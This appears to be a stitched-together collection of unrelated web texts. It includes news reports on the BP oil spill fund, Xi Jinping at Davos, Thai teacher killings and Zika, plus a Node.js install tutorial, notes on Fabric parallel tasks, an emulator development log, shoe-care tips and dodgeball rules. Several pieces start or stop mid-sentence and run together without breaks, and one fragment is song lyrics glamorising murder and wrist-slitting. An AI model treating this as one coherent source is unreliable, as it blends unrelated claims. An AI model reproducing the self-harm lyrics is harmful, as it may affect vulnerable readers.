This episode of “Immortal Song” will be broadcasted sometime in June.
Source (1)President Obama just formally announced that energy giant BP will finance a $20 billion fund to compensate people whose livelihoods have been damaged by the devastating oil spill in the Gulf of Mexico.
Obama also said BP has voluntarily agreed to set aside $100 million to help oil workers who have been displaced since the Deepwater Horizon rig exploded on April 20 and killed 11 people.
Kenneth Feinberg, a lawyer currently overseeing executive pay issues for the White House, will be in charge of the compensation fund. A three-person panel will mediate any disputes. Feinberg also oversaw payments to 9/11 victims for the federal government.
"This is about accountability and at the end of the day that's what every American wants and expects," Obama said in the State Dining Room.
Obama said BP is committed to ensuring that economic claims will be processed and paid out in a timely manner. According to a White House fact sheet, BP will contribute $5 billion a year for four years into an escrow account. BP is providing assurance that their financial obligations will be met by setting aside $20 billion in U.S. assets.
After Obama's announcement, BP chairman Carl-Henric Svanberg apologized to the American people. He said the company's board has decided to stop paying out dividends this year.
"I do thank you for your patience that you have in this difficult time," said Svanberg, talking to reporters gathered outside the White House. "Through our actions and our commitment we hope over the long term that we will regain the trust you have in us."
Svanberg also said: "Words are not enough. We will be judged by our actions."
The compensation fund and money for oil workers were announced after a White House meeting between administration officials and BP executives, including Svanberg and CEO Tony Hayward. The "constructive" meeting, as Obama described it, ran longer than the White House expected and pushed back Obama's remarks by more than two hours.
"Today was a good start," Obama said. "This should provide some assurance to small business owners that BP is going to meet its responsibilities."
Obama said he spoke privately with Svanberg about keeping the people of the Gulf in mind as the company continues to deal with fallout from the spill. "I emphasized to him that for the families I met with down in the Gulf...this is not just about dollars and cents. A lot of these folks don't have a cushion."
During his Oval Office address last night, Obama vowed to hold BP accountable for what he described as their "recklessness" in the Gulf.
"We will fight this spill with everything we've got for as long as it takes," Obama said last night.
A panel of federal scientists now estimates the oil spill is leaking between 1.47 million gallons and 2.52 million gallons a day.
(Posted by Catalina Camia)Xi Jinping, China’s president, offered a robust defense of the Davos world order, positioning himself as globalization’s most vocal champion, and suggesting the system needed reform, not rebuke.
While never addressing US president-elect Donald Trump by name, Xi directly and negatively responded to many of the policies Trump has espoused: closing the borders, curbing free trade, backing away from globalization.
“Pursuing protection is just like locking oneself in a dark room. While wind and rain may be kept outside, so are light and air,” Xi said at the 2017 World Economic Forum meeting in Davos. “No one will emerge as a winner in a trade war.”
In the speech, the first ever by a Chinese president at the annual gathering of the global elite, Xi said there was no turning back the tide of globalization: it was not invented by someone, but is the natural outcome of forces propelling humanity forward.
He also said globalization should not be blamed for the world’s woes. The refugee crisis was the result of war and regional conflict: the solution to that is the pursuit of peace and reconciliation. He said you could not even blame the financial crisis on globalization: it was the “excessive chase of profit by financial capital” and too little regulation. “There’s no point in blaming economic globalization; it is simply not the case, and it will not solve the problems.”
Xi’s pep talk was in stark contrast to the deep criticism of the Davos globalization agenda, and the self-questioning evident at the forum itself. “When countering difficulties, we should not complain about ourselves, blame others, lose confidence, or run away from responsibilities. Instead we should join hands and rise to the challenges.”
He offered up a blueprint for how China would embrace globalization, continuing to open itself, pursuing more regulation, and better leveling the playing field for investors. He also acknowledged that China’s model—communist-led—was its own, and there was no one-size fits all.
Xi defended the Paris accords, arguing that protecting the environment was critical to harmony with nature, and society. “All signatories should stick to it rather than walking away from it,” he said, delivering another direct counter to Trump’s anti-climate change stance.
“We should not develop a habit of retreating to the harbor whenever we see a storm because this will never get us to the other shore,” he said, one of many metaphors peppered throughout the speech.Facebook CEO Mark Zuckerberg is asking his employees to stop being ignorant and racist (my words, not his).
In an internal memo obtained by Gizmodo, Zuckerberg said he was disappointed by the “several recent instances of people crossing out ‘black lives matter’ and writing ‘all lives matter’ on the walls at MPK.” MPK, one of Facebook’s buildings in Menlo Park, Calif., has a wall reminiscent of the early days of Facebook for employees to write their thoughts.
Here’s the memo, courtesy of Gizmodo:
Facebook is a notoriously white place. In the U.S. last year, Facebook hired 36 black people and 73 Hispanic people, compared to 603 white people, according to its 2014 EEO–1 report. In total, only 2 percent of Facebook’s workforce is black, 3 percent of it is Hispanic and — no surprises here — 55 percent of Facebook is white.
In addition to the fact that this is terrible, it’s especially effed-up timing given that it’s Black History Month and given the fact that several African-American students from the San Francisco Bay Area are planning a trip to Facebook tomorrow.
As Zuckerberg noted, Facebook is investigating the incidents and is encouraging employees to participate in an upcoming town hall at Facebook to learn what Black Lives Matter is all about. I’ve reached out to Facebook, but the company declined to comment further.The Yardwaste Memorial Freeride 2017 is a wrap! The runs were plenty, no one got seriously broke off, and there were basically infinite subs, it was amazing.
First and foremost. This event was coordinated and run strictly by VOLUNTEERS! Yardwaste put in some back breaking beurocratic labor to secure this event for all of us to enjoy. THANK YOU YARDWASTE AND THANK YOU MIKE YARDWASTE/BRIDGE! So kudos to those lovely shredders who make it all happen and invited us out to shuttle the van!
Huge thanks to MedTech Event Medical Services for keeping us safe, City of Chilliwack for its continual support of this event, Abbotsford Community Services for all the hard work and support, and Karen Bridge Fraser Valley Real Estate for feeding us lunch! Lunch was actually amazing. Endless subs, it was heaven.
Oh and I almost forgot to mention. WE GOT A FRIGGIN VAN! IT FITS LOTS OF PEOPLE AND SHUTTLED ALL DAY. SHE RUNS GREAT! It managed to get the Flatspot team and friends all the way out to chilliwack at 8am. Its new to us, so new we haven’t even stickered it up yet. Expect to see it at a freeride/slide jam/highway near you.
After snapping some pics I took a run and didn’t pick up my camera again. This road is great. Like really great. It keeps you right on the edge of sliding, gives you a refreshing straight away when you need it, then ends in a great little roller coaster to make sure you legs are good and shaky. It makes sense that Chilliwack has produced a solid stream of talented riders with roads like this. I’ll definitely be coming back and I might not even bring a camera next time. Yardwaste chose exceptionally well with this one.
Its small events like these that can sometimes get you the most runs, and the best times. The event was affordable, accessible, accomodated a good range of skill levels, but also provided the opportunity to get utterly pitted. It makes us super stoked that crews like Yardwaste are organized and committed to making rad shit happen. We will most certainly be there next year.
If you have any questions please feel free to shoot us an email at info@flatspotlongboards.com, message us on facebook, or call at 604 899 8937!
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RelatedRep. Al Green, D-Texas, introduced articles of impeachment against President Trump Wednesday during a speech on the House floor, arguing "enough is enough" and Trump's actions in the White House warrant invoking the 25th Amendment.
"I rise today on behalf of the many who have concluded that enough is enough," Green said during his opening remarks. "I rise today to speak on behalf of the many persons who believe that Article 2, Section 4 of the Constitution of the United States of America has meaning and that it is something that is appropriate for a time such as this."
The Texas Democrat said Trump has incited "hatred, bigotry, and invidious discrimination" against the American people, including "high crimes and misdemeanors."
"Resolved that Donald J. Trump, president of the United States of America, has undermined the integrity of his office with impunity and brought disrepute on the presidency with immunity, has betrayed his trust as president to the manifest injury of the American people," Green said, "and is unfit to be president, and is impeached pursuant to Article 2, Section 4 to the Constitution of the United States of America."
Green announced last Monday that his impeachment push would be postponed out of respect for the mass shooting in Las Vegas.I attended the Node-JS Camp this past week and had a lot of fun talking with the developers, and familiarizing myself with the awesomeness of Node-JS. Node-JS is a powerful version of JavaScript that allows for server-side scripting and running light-weight web servers. The best part is, if you know client-side JavaScript, you know the basics of server-side JavaScript, and only need to learn how to import and use the built in libraries. Today s tutorial will walk you through the steps to get started using Node-JS.
Preparing to install node
You will need to have a unix based terminal client and GCC installed. Windows users will need to follow the Cygwin installation instructions. Mac users should install Xcode.
Once that is done, make sure that the GCC compiler is properly installed by running:
which gcc
If it is working, you should expect something like /usr/bin/gcc to be printed out.
Installing Node
There are a lot of methods for install Node; you can see them all in this gist. I prefer the second method and will use it for this tutorial:
Create a location for Node on your machine (I recommend the ( ~/ ) home or /usr/local/ directory) and add it to your PATH:
mkdir -p ~/local echo export PATH=$HOME/local/bin:$PATH >> ~/.bashrc
Fetch node using GIT:
cd ~/local git clone git://github.com/ry/node.git
Configure and install node:
cd node./configure --prefix=~/local make install
Test that the installation worked by typing node. This should open up a program prompt, where you can start writing JavaScript code. Try the following test code:
var i = 1234; console.log(i);
Type ctrl+d to exit the prompt. You can now write server-side JavaScript code and run it using node. For example, if you saved the above script as test.js, you could run it by:
node test.js
Installing NPM
NPM is the package manager for node. It is written and maintained by Isaac Schlueter. Each package is maintained by an individual contributer and anyone can contribute packages. NPM is the tool you use to install packages like YUI, Connect (HTTP Middleware), Express (Web Framework), Socket.IO (Web Sockets), mysql, and a whole lot more.
Install NPM by:
cd ~/local git clone git://github.com/isaacs/npm.git cd npm make install
Now you can install packages using:
npm install <package-name> npm install yui3-core
To see all the available packages type:
npm ls
To get NPM help type:
npm help
To get package help type:
npm doc <package-name> npm doc yui3-core
Writing a Node script
Node scripts are the JavaScript we know and love, plus a couple of new features. For example you have the require function, which fetches and initializes a package for you. The require function returns an instance of the package you are importing. You can require all the packages found at Node-JS API and any packages installed using NPM. Here is an example of how to include and use the YUI3-Core package:
YUI = require(yui3-core ).YUI; YUI().use(function(Y) { s = "Hello World"; console.log(s); console.log(Y.Lang.isString(s)); });
The console object has been used in several examples, and is built into Node, providing a simple way for printing variables.
For more information see
Some of the code used in the examples above was originally found at:
Installing Node and NPM by Isaac Schlueter.This article is over 2 years old
Opposition leader says prime minister’s comments on policy fairness are just another version of trickle-down economics
Shorten quotes Keynes to Turnbull – 'In the long run, we are all dead'
Bill Shorten has rebuffed Malcolm Turnbull’s new pitch for policy fairness, declaring it is just another version of trickle-down economics and a manifestation of “poor blaming”.
On Thursday night, the prime minister told the Business Council of Australia the election of Donald Trump as US president had shown the world the benefits of globalisation needed to be shared by the many, not just the few.
Turnbull said fairness was an important part of combating the political backlash against open markets and trade liberalisation, but fairness needed to be redefined.
“Fairness does not mean examining each decision in isolation, looking at a narrow set of winners and losers,” the prime minister said on Thursday night.
Malcolm Turnbull says Trump's success proves economic gains must be shared Read more
“It means making sure our overall system is fair, examining the transfers of goods and services over a person’s lifetime and asking ourselves, does this reflect the benchmarks we set ourselves of an open, fair and just society?”
In a speech on Friday night, Shorten was scathing in response: “The same old Liberal story – the law of the jungle, the survival of the fittest,” the Labor leader said.
“The prime minister has the nerve, the arrogance to say we shouldn’t talk about winners and losers in the short term – that it all works out in the end.”
Shorten quoted the economist John Maynard Keynes. “Well, Malcolm, to quote another economist: in the long run we are all dead.
“The short-term matters, the here-and-now matters. A job matters, your income matters, dignity matters. The costs and pressures faced by ordinary Australians can’t be written off as short term. Life doesn’t take a holiday.
“What this prime minister doesn’t understand – and never will – is that for people who stretch every dollar, week to week, economic change isn’t a game.
“Losing your job, losing your home, losing your support isn’t something you shrug off as the cost of doing business.”New black shoes often come with a gloss on them that can be a bit too shiny, depending on personal tastes. This gloss is usually due to a high concentration of wax and other polishing substances that are built up on the surface of the leather. If these substances are removed, the shine will be dulled considerably. Nail polish remover is the easiest thing to use to dull shiny black shoes. This process, while effective, requires some care and is only recommended if you want the shoe to be permanently dull. Once the shiny substances are stripped from the shoe, they're gone forever.
Wipe the surface of the shoe clean with a soft, dry rag, removing any dirt and dust from the finish.
Apply a light coating of nail polish remover to another rag. The rag shouldn't be soaked---it should be just barely wet. This will allow you to better control the nail polish remover's application.
Test the nail polish remover on an inconspicuous spot on the shoe to make sure it doesn't discolor the leather. Rub the rag gently on a small spot, then wait a few minutes.
Apply the nail polish remover to the shoe in a gentle, circular motion, lifting up only the shiny wax on the shoe's surface. Do not press down on the rag or apply more than one coat at a time, as too much acetone can seriously damage the leather.
Apply a coating of cream shoe polish with leather moisturizer to the shoe. Though this may restore some of the shoe's shine, it is an important step. The nail polish remover can break down oils in the leather, making the shoes vulnerable to cracks.v0.2 has been an accuracy-focused update. So far, I’ve added audio, fixed tons of bugs, and overall improved the graphics.
Here’s an example of what I’m talking about:
On the left is the v0.1 version, and on the right the v0.2 version. The differences may not seem like a whole lot, but getting to this point has required a lot of work on the 2D engine. First, sprites weren’t showing up at all because of a bug with VRAM accesses. Next, I had to implement window functionality. There are two fixed-sized windows as well as an “object window” that uses sprites, and backgrounds and sprites can be enabled or disabled as you please within windows. Mario Kart disables sprites in the regions outside of the windows, and the two fixed-sized ones are used to hold the “1st” and lap number on the top screen. The top-left corner holds an object window, where sprites are visible only within that black square. This allows the game to perform a slot machine effect without the items showing up outside of the window. I also fixed a nasty display capture bug that caused games that store code in VRAM to freeze.
The 3D engine has also received some love. Fog has been implemented, and I’m in the process of adding dynamic shadows and edge-marking. The Spiky Polygon Syndrome inflicting many games such as Final Fantasy IV, New Super Mario Bros, and more, has mostly been fixed, aside from a few edge cases. The problem was not vertex-sharing as I initially believed; it was actually a bug with clip matrix reads. The issue lingers in games like Sims Castaway, but I need to do more debugging for that.
Finally, I fixed a bug with DMA transfers that caused many games to not boot. The ARM7 DMAs have a maximum 16-bit length, and a write of zero is interpreted as max length. The ARM9 DMAs follow the same latter rule but have a maximum 21-bit length. I wasn’t accounting for the upper 5 bits on the ARM9 but I was using the ARM9 max-length, so games would accidentally overwrite critical memory.
After I get done with shadows and edge-marking on the GPU, my remaining plan is just to improve compatibility with broken or glitchy games. Some ideas I have are fixing save problems with the Pokemon games as well as defeating the infamous “no EXP” anti-piracy. I thought about implementing cache emulation, but I feel that it’s not worth it at this stage as the emulator is still immature. I want CorgiDS v0.2 to be out by the end of this month.
That brings us to my plans for v0.3.
Because v0.2 primarily focused on accuracy and overall compatibility, I want v0.3 to focus on optimization and quality-of-life.
My first goal is to completely high-level emulate (HLE) the NDS BIOS and firmware. This should offer some minor speedups on games that rely on the BIOS, but more importantly, it removes the need to have dumped the BIOS and firmware in order to play games. HLEing the BIOS means implementing all software interrupts that games use, and HLEing the firmware only means storing pre-determined values into memory (like DeSmuME does). The option to provide your own images will still be available for improved accuracy and the ability to boot from the firmware.
My second goal, far loftier, is adding a dynarec.
A dynarec (short for “dynamic recompiler”) converts assembly from one CPU architecture to another. In this case, the CorgiDS dynarec would recompile ARM machine code into x86 machine code. The benefits are twofold: one, the overhead incurred from the interpreter having to re-translate every opcode would be eliminated. Two, a dynarec offers opportunities for re-optimization that wouldn’t be possible with an interpreter model. An intelligent dynarec can take advantage of the architecture of the target machine and produce code tailored towards it, allowing for major gains in speed. Even in the most 3D-intensive games, the CPU code is still a large bottleneck. The dynarec, if designed correctly, would alleviate this, allowing CorgiDS to run on less powerful computers.
So what’s the catch? A dynarec requires a thorough understanding of the assembly language of the target processor. A naive implementation of a dynarec is already more complex than an interpreter, and an optimizing dynarec is far more complex. While slow, the interpreter can at least be debugged more easily. I’ve also never written a dynarec before, so only time will tell how long it takes for v0.3 to come out. Nevertheless, I’m not one for backing down from a difficult challenge.
My final goal, if time permits, is to add GBA functionality to CorgiDS. Because the NDS uses most of the GBA hardware, this would be done by re-using code already in place. I would have to create new scheduler, sound, and graphics code, but everything else won’t be so bad. By re-using the NDS hardware, this offers the possibility of booting from the firmware and loading a GBA game like you would on a real DS. Of course, if the stuff above takes a while, this may have to wait for a future update.
As always, thanks for your support!Changes and Notes
So I've updated the branch to add in a useful bit for the parallel decorator. I also need to talk out a few things related to it's use in the environment and some bugs or hiccups one might run into trying to use it. Hopefully I'll be hitting this up some more soon, and pulling some more of the crazy cool updates that people have been making to fabric trunk. I have a to-do list, let me know if you want me to add anything to it!
Additional feature So there's always been a flag to make the pool size of the bubble, and that was nice, but I wanted a way to make these more permanent as well as simpler to remember. So it's now an option in the runs_parallel decorator. To use it you'd just simply give it a size to use: #!/usr/bin/env python from fabric.api import * env. hosts = [ 'host %2d.com' % x for x in range ( 20 )] @runs_parallel ( with_bubble_of = 10 ) def poke (): run ( 'uptime' ) This I feel makes a cleaner fabfile, and puts this information where it should be, in the code, and out of the writer's head.
How to use both ways, or just one A big thing to note in using parallel tasks, is that anything put into shared variables, like env, is forgotten outside the execution of the one instance of the task. So if you don't add a @runs_once or @runs_sequential decorator to a task that say sets the env.hosts before an actual parallel task, the work done inside the env setting task is forgotten. The reason adding these decorators addresses this, is that by adding them, the task isn't executed using the parallel bits. It is instead run inside the main fab process, and isn't creating a fork pool of size 1 and forgetting about it when the fork is finished executing. So as an example, if one were to try and run a fabfile w/o setting up decorators for their functions, and running: fab -P set_hosts uptime #!/usr/bin/env python from fabric.api import env, local, run, sudo env. hosts = ['somehost.com' ] def set_hosts (): env. hosts = [ 'web-0', 'web-1' ] def uptime (): run ( 'uptime' ) They'd get into an issue where the set_hosts not being specifically set to run sequential or once, would have the settings it made to the env.hosts var only apply inside the task, since it's been forked out. Which would cause the uptime to only run on somehost.com, and not both web-0 and web-1 as expected. Fixing it To get around this the tasks that need to set variable globally, and affect other tasks later will need to be decorated to not use forking. Below is the same fabfile tweaked to do so, as well as explicitly state how functions should behave. Note that setting up a task to @runs_once will be backwards compatible, but @runs_parallel isn't. The added benefit to this being that one can drop using the -P flag, as neither task in this example can switch hit. #!/usr/bin/env python from fabric.api import * #thanks to Eric who pointed this out, visit his site, it's neat env. hosts = [ 'ericholscher.com' ] @runs_once def set_hosts (): env. hosts = [ 'web-0', 'web-1' ] @runs_parallel def uptime (): run ( 'uptime' )
Maybe it'll help As a boon to people using both the parallel branch and Trunk, on a single fabfile, note that which one is being used can be determined at runtime using some silly introspection: >>> from fabric import decorators >>> dir ( decorators ) [ 'StringTypes', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '_parallel', '_sequential', 'hosts', 'is_parallel', 'is_sequential', 'needs_multiprocessing', 'roles', 'runs_once', 'runs_parallel', 'runs_sequential', 'wraps' ] >>> "runs_once" in dir ( decorators ) True So one could just flip a Boolean and decorate/use things accordingly. Though I suggest using @runs_once on any tasks that are just that, single shots that do stuff local, or set vars for the fabfile, and to reserve using @runs_sequential for tasks that still need to have multiple hosts, but need to not run side by side.Cut his head off with a bread saw
When will shawty know that I ball
Six gold chains in a Benz car
Stand far, she stand far away with the med jar
Smile on my face
I wanna kill the fucking landlord
Smile on my face
I wanna go away
I ball, yes, gold Rolex I ain't paid for
Roses on the sanctuary, gone like I'm Chuck Norris
More of this, more of me, they all want more Lean
I guess I have to work everyday like there is more of me
Rest my head on the stone pillar, I'm immortal B
Talk to myself in a church with distortion, see
I don't wanna give up, I ain't sure as hell giving in
Watch my body fall off a cliff as I slit my wrists
Slit my wrists, I love my bitch, shes the reason i do this shit
Karaoke in Japan with a dead girl in my forest, bitch
Bitch, I see evil every day I know what makes you smile
I ain't tryna conversate but you've been looking for a while |
hood” joined the collection in October. Rumors started swirling last summer about a potential box set, and now Criterion has confirmed the release.
READ MORE: ‘Before’ Trilogy: Beautiful Video Shows Parallel Emotion From All Three of Linklater’s Films
The “Before” Trilogy Criterion set includes restored 2K digital transfers of the first two installments and a 2K digital master of “Before Midnight,” all approved by director Richard Linklater. Behind-the-scenes content includes “Dream is Destiny,” the 2016 feature-length documentary about Linklater by Louis Black and Karen Bernstein, and a new documentary about the making of “Midnight” in Greece from filmmaker Athina Rachel Tsangari. A new discussion featuring Linklater and actors Julie Delpy and Ethan Hawke also appears.
Other new titles joining Criterion in February are Pedro Almodóvar’s “Women on the Verge of a Nervous Breakdown,” a 4K restoration of Ermanno Olmi’s “The Tree of Wooden Clogs,” Michael Curtiz’s classic melodrama “Mildred Pierce” and Kirsten Johnson’s “Cameraperson,” which hit theaters only this year to unanimous acclaim. For bonus features and more information on February’s new additions, plus pre-ordering options, head over to the Criterion website here.
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Sign Up: Stay on top of the latest breaking film and TV news! Sign up for our Email Newsletters here.thousands of Saudis vented their anger online over a report Thursday that staff at a Riyadh university had barred male paramedics from entering a women's-only campus to assist a student who had suffered a heart attack and later died.
The Okaz newspaper said administrators at the King Saud University impeded efforts by the paramedics to save the student's life because of rules banning men from being onsite. According to the paper, the incident took place on Wednesday and the university staff took an hour before allowing the paramedics in.
However, the university's rector, Badran Al-Omar, denied the report, saying there was no hesitation in letting the paramedics in. He said the university did all it could to save the life of the student, who was identified as Amna Bawazeer.
Al-Omar told The Associated Press that after the incident, he met Bawazeer's father who told him his daughter had heart problems. The rector said Bawazeer suffered a heart attack and collapsed suddenly on the campus on Wednesday.
Her death sparked a debate on Twitter by Saudis who created a hashtag to talk about the incident. In the debate, many Saudis said the kingdom's strictly enforced rules governing the segregation of the sexes were to blame for the delay in helping Bawazeer.
Saudi Arabia follows a strict interpretation of Islam. Sexes are segregated in schools and almost all Saudi universities. Women also have separate seating areas and often separate entrances in "family" sections of restaurants and cafes where single males are not allowed. The kingdom's top cleric has warned against the mixing of the genders, saying it poses a threat to female chastity and society.
In a shocking tragedy in 2002, a fire broke out at a girl's school in Mecca, killing 15 students. Rights groups reported that religious police would not allow the girls to escape because they were not wearing headscarves or abayas, a traditional loose black cloak that covers the female body from the neck down.
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While religious police denied they blocked girls from fleeing and a government inquiry found the school was ill-equipped to handle emergencies, the incident led to the overhaul of women's education. Colleges for women had been under the purview of the Department of Religious Guidance and clerics, but after the fire it was placed under the Education Ministry, which oversees male education.
Following Wednesday's incident, professors at King Saud University also demanded an investigation.
"We need management who can make quick decisions without thinking of what the family will say or what culture will say," said Professor Aziza Youssef.
One staff member who witnessed the situation said paramedics were not called immediately. She said they were also not given immediate permission to enter the campus and that it appeared that the female dean of the university and the female dean of the college of social studies panicked. The staff member spoke on condition of anonymity for fear of retribution from university management.
Al-Omar said the staff called campus health officials within minutes of Bawazeer collapsing and that about 25 minutes later they called paramedics.
"They called the ambulance at 12:35 p.m. and ambulance staff was there by 12:45 p.m. and entered immediately. There was no barring them at all. They entered from a side door," he said.
Saudi women look at jewelry at a gold fair in Riyadh, Saudi Arabia, March 21, 2009. APPhoto
HONG KONG — In Thailand, it’s the teachers who are being targeted and killed — in their schools, during the day, in front of their students, with assault weapons.
Attacks on schoolteachers by Muslim insurgents in southern Thailand have escalated terribly in recent days, like last week, when men with M-16s walked into a school cafeteria in Pattani Province, separated out two Buddhist instructors and killed them on the spot. One of them, the school principal, was shot in the head at point-blank range.
Khru Ya, a retired teacher in Pattani, and a Muslim, told The Bangkok Post: “There is a saying among insurgents: ‘Get Buddhists, gain merit.’ They believe that if they kill Buddhists, they will go to heaven.”
An investigative report released Monday by Human Rights Watch demanded that the insurgents end their school attacks and called for added security measures by the Thai government.
“Insurgents in southern Thailand who execute teachers show utter depravity and disregard for humanity,” said Brad Adams, Asia director for Human Rights Watch. “These attacks harm not only teachers and schools, but the Muslim students, their families, and the broader Muslim community the insurgents claim to represent.”
Thailand: Rebels Escalate Killings of Teachers bit.ly/ZAxLJJ — Human Rights Watch (@hrw) December 16, 2012
Car bombs, homemade grenades, assassinations and arson have become part of daily life in southern Thailand since a wave of separatist and sectarian violence began there in 2004. More than 5,000 people have been killed in the ongoing strife.
But now teachers — like police officers and army soldiers — have become “targets of opportunity.”
“Since the attacks on teachers began,” according to a Post investigation, “157 have been murdered. Most of the victims were Buddhist.”
The most recent killings caused the southern teachers’ union to stage a two-day strike last week, shutting 1,300 public schools. Prime Minister Yingluck Shinawatra and the head of the Thai Army visited the area on Thursday, although Human Rights Watch said insurgents circulated leaflets during their visit that promised further school attacks.
“Whatever happens,” Ms. Yingluck told reporters, “children need to have a safe place to learn. I thank teachers for having the courage to teach, and I will ask for reinforcements and extra troops to ensure their security.”
“They go after the teachers for a few reasons,” said Zachary Abuza, a professor of political science at Simmons College in Boston and an expert on security issues, terrorism and insurgencies in Southeast Asia. “Out in the countryside, teachers are the agents of the Thai state. The schools are one of the only social services that most people get from the government.
“They’re also vulnerable/easy targets, and most of the teachers are Buddhists, sent from other parts of the country,” Mr. Abuza said in an e-mail interview with Rendezvous. “If the teachers go on prolonged strike and the schools shut down it leads to more Buddhists fleeing the region, while the Muslims put their kids into madrasas.”
Mr. Abuza noted that teachers have become “high-impact targets” whose murders get the attention of the central government. “Yingluck made her first visit to the south after four teachers were killed,” he said. “Until then she’d barely touched the south.”
Teachers in the south are now driven to school each morning in army trucks. If they drive their own cars, they must join a military convoy.
“After we arrive at school, the soldiers stick around for a while until the morning flag-raising ceremony is over and the students are in their classrooms,” said Mr. Khru Ya, the former teacher. “At lunchtime, the soldiers return to protect us inside the school grounds. Then the same thing happens in the afternoon when class is over. The soldiers escort us back home.”
Some of Mr. Khru Ya’s other remarks to The Post:
Instead of soldiers, these [insurgents] seem to target only teachers because they are unarmed and easy to kill. That is why we call them jone gra jork [cowardly bandits], because they choose to attack people who have no way to fight back. I know what they really want is to drive the military out of the area, so that they can trade and traffic drugs more easily. Pattani is located in a very advantageous area for drug trafficking since it is connected to Malaysia. They are trying to create a religious war in the area, but Buddhists and Muslims are peaceful people. We have lived happily together before in the past, and we intend to remain that way.
Teachers in the Thai-Malaysian border areas have asked for security cameras to be installed at their schools, the H.R.W. report said, along with increased hazard pay for educators and government compensation for the relatives of victimized teachers.
The Post reported that teachers get monthly bonuses between $82 and $115 for working in the south. The families of murdered teachers are eligible for death benefits of $32,600.
“Teachers are courageously risking their lives to ensure children’s access to education in southern Thailand,” Mr. Adams said. “But the government is still stuck in a cycle of ineffectual responses to the deadly threats teachers and students are facing every day.”Police are investigating the theft of a $1,000 road bike theft from a Williamsburg apartment building. View Full Caption DNAinfo/Serena Dai
SOUTH WILLIAMSBURG — A suspected bike burglar burst into tears when a resident who found him in his building's storage room called police, officials said.
The suspect was in the property storage room of a building on Bedford Avenue near South Third Street around 2:30 p.m. on Sept. 5 when a resident of the building found him, police said.
The would-be burglar tried to explain away his presence by telling the tenant he was allowed inside the room to sleep overnight because he was drunk, police said.
But the 39-year-old resident knew he was lying because he had been in the storage room 10 minutes earlier and hadn't spotted the suspect, police said.
When the resident and the suspect walked upstairs together, the tenant saw that the man was carrying a screwdriver, police said.
The resident then called the police, prompting the man to break down and start crying, police said.
"Don't do this to me," the man said, according to police.
The suspect then fled the property without his screwdriver or bag, police said.
A 32-year-old resident of the building later reported that his $1,000 road bike was missing from the storage room, police said.
The suspect — described as 25 years old, 5-foot-8 and 175 pounds — was last seen wearing a black baseball hat, blue shorts, black sandals and glasses, police said. He also had a scar on the right side of his face, police added.
Police are investigating the incident.LUIS ROBAYO via Getty Images A pregnant woman holds a mosquito net in Cali on February 10, 2016. The Colombian Health Ministry began delivering mosquito nets for free to pregnant women to prevent the infection by Zika virus, vectored by the Aedes aegypti mosquito. The World Health Organization on Tuesday urged caution about linking the Zika virus with a rare nerve disorder called Guillain-Barre which health officials in Colombia have blamed for three deaths.
The Zika virus, which is spread by the Aedes aegypti mosquito, is strongly suspected to be linked to a new wave of microcephaly cases in Brazil. Babies born with the birth defect have smaller heads and brains that aren't fully developed, which can result in life-long developmental problems.
Zika is currently spreading through Central and South America and the Caribbean, and with the high volume of news about the virus, it's tough to stay up-to-date. Check out our full coverage, or read our daily recaps.
Here are five updates, opinions and developments to know about now:
1. Latin America is reporting an uptick in cases of Guillain-Barré syndrome
Cases of Guillain-Barré syndrome, a life-threatening neurological condition in which the body attacks its own nervous system, are increasing in Brazil, Colombia, El Salvador, Suriname and Venezuela, Reuters reports. While there's still no proven link between Guillain-Barré and Zika virus, scientists believe they may be able to prove a connection in coming weeks.
An increase in cases of Guillain-Barré, which can cause temporary paralysis and even death, also coincided with a Zika outbreak in French Polynesia in 2013-2014.
2. Abortion backlash seen among Brazilian families with disabled children
Activists and women's rights groups are pushing for looser abortion laws following a rise in cases of the birth defect microcephaly among Brazilian babies, but it's a contentious proposition in heavily Catholic Brazil. There's strong anti-abortion sentiment throughout the country, especially among families with disabled children, and in Catholic and Pentecostal churches.
"I know it's very difficult to have a special needs child, but I'm absolutely against abortion," Danielle Alves, whose 3-year-old son has microcephaly, told The Associated Press.
Abortion is currently illegal except in cases of rape, if the mother's life is in danger or if the fetus has anencephaly, a neurological birth defect. Wealthy women are able to receive abortions in private clinics, but options for low-income women are scare, especially in rural areas.
3. Russia reports its first Zika virus case
A Russian woman who had vacationed in the Dominican Republic returned home with a Zika virus infection, Reuters reports. Her condition is listed as “satisfactory,” and her family members do not have the virus.
4. Philippine Health Ministry advises people to delay pregnancy and travel
Despite the fact that the Philippines has not yet seen a Zika virus infection linked to this specific outbreak, health minister Janet Garin is advising families to postpone pregnancy if possible until scientists learn more about the disease, reports Reuters. The country’s health ministry is also asking Filipinos to avoid places with ongoing Zika virus transmission for fear that they may return with an infection and transmit it sexually to their partners. The last and only time the Philippines recorded a Zika virus infection was in 2012.
5. Zika virus cases increase in Colombia and Puerto Rico
More than 5,000 pregnant women in Colombia have Zika virus, among a total of 31,555 cases in the country, reports Reuters. So far, there are no reports of microcephaly birth defects linked to Zika virus, but the government is loosening the country’s restrictive abortion laws to allow women affected by Zika virus to access the medical service if they’d like.
Meanwhile, the virus has also spread in Puerto Rico, where 30 people have confirmed infections, reports LiveScience. No microcephalic births have been linked to these cases.
The countries and territories under travel alert by the U.S. Centers for Disease Control and Prevention are: American Samoa, Barbados, Bolivia, Brazil, Cape Verde, Colombia, Costa Rica, Curacao, Dominican Republic, Ecuador, El Salvador, French Guiana, Guadeloupe, Guatemala, Guyana, Haiti, Honduras, Jamaica, Martinique, Mexico, Nicaragua, Panama, Paraguay, Puerto Rico, Saint Martin, Samoa, Suriname, Tonga, Venezuela and the U.S. Virgin Islands.
Read more Zika virus coverage:
Also on HuffPost:Below is an abbreviated list of the basic NDL rules. If you have any specific rules questions feel free to contact us at 952.931.0404, during regular business hours and we will assist you in any way we can.
The Court
The court is divided into two 30’ X 30’ areas, with a 6’ X 30’ neutral zone located at center court separating the two sides. Every effort is made to obtain the correct dimensions. However court size may be adjusted to best suit the available space.
Teams
Teams consist of six players with up to four substitutes. All players must be in uniform.
Coed teams may consist of either gender, however at least two players of each gender must participate at the start of each game.
Open teams may consist of either gender. Any ratio of men and women may participate, including all male and all female teams.
Substitutions
Substitutions must be made prior to the start of the game. No substitutions can be made during a game, except in cases of injury.
Game Types:
Elimination Game:
A game played until all opponents on one side have been eliminated. The first team to eliminate all its opponents is declared the winner.
Retrievers
Retrievers are individuals designated to retrieve balls that go out of play. Teams are responsible for providing retrievers. The number of retrievers required will determined by the tournament director.
The Rush
